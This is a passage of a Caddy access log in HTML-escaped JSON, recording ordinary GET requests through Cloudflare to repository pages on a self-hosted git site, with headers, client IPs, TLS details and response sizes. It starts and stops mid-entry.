loops=1\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.262741163,\u0026#34;size\u0026#34;:32454,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.472112,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;162.158.175.131\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;11188\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;162.158.175.131\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/ns3-datacenter/src/commit/281afc20f5e6a6ba20a13cab31e730a435959050/simulator/ns-3.39/.vscode/tasks.json\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;45.56.186.71\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effbb9ee4796-DFW\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;45.56.186.71\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.342308283,\u0026#34;size\u0026#34;:35925,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.4908528,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.69.22.17\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;12062\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.69.22.17\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/ns3-datacenter/src/commit/40b84300cf5bc6b41953239419aa8b9022a793d4/simulator/ns-3.35/bindings/python/ns__init__.py\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effbeaef15e1-SJC\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;166.0.180.40\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.10 Safari/605.1.1\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;166.0.180.40\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.341574757,\u0026#34;size\u0026#34;:28822,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.4981875,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.71.191.124\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;12844\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.71.191.124\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/blame/commit/a5986b92fdd601bd8b9e6907b01750bf9fbde741/layouts/_default/single.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.10 Safari/605.1.1\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;104.194.220.229\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;104.194.220.229\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effbfb0be639-IAD\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.297898894,\u0026#34;size\u0026#34;:86599,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.509331,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;162.158.122.174\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;10970\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;162.158.122.174\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/src/commit/34cd7852bc115f926b131e99c6384609d048f28f/layouts/partials/pagination.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;45.157.185.71\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effc4a4acbb6-MAD\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;ES\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;45.157.185.71\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.291499759,\u0026#34;size\u0026#34;:36375,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.5167801,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.71.23.49\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;10556\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.71.23.49\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/NanaMail-android/src/commit/59c843537d84d1c6737d5d71a708b459ab53cf98/.idea/gradle.xml\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;85.254.125.48\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;85.254.125.48\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effc2e95afbf-ATL\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.298081216,\u0026#34;size\u0026#34;:34775,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.5189972,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.68.234.49\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;11517\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.68.234.49\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/ostep-homework/commits/commit/375d19ba4b693a0f70f7632b82729fb212471564/threads-locks/test-and-set.s\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effd0f4de1cd-MRS\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;IN\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;110.44.2.253\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;110.44.2.253\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.195997813,\u0026#34;size\u0026#34;:26607,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.554788,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;104.23.190.253\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;10096\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;104.23.190.253\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/ns3-datacenter/src/commit/cbf82ca5c485aa25a521641d98f7057869b65c98/simulator/netanim-3.109/qtpropertybrowser/src/QtCheckBoxFactory\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effc08b82732-EWR\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;84.37.134.1\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;84.37.134.1\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.362997391,\u0026#34;size\u0026#34;:29091,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.5676897,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.71.175.92\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;12402\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.71.175.92\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/ostep-homework/blame/commit/a9800f62f7c4b5b73acf8b239912981066893c30/threads-cv/main-common.c\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effcecf13acd-DFW\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;85.254.139.44\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;85.254.139.44\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml\u0026#43;xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.232635982,\u0026#34;size\u0026#34;:148573,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u00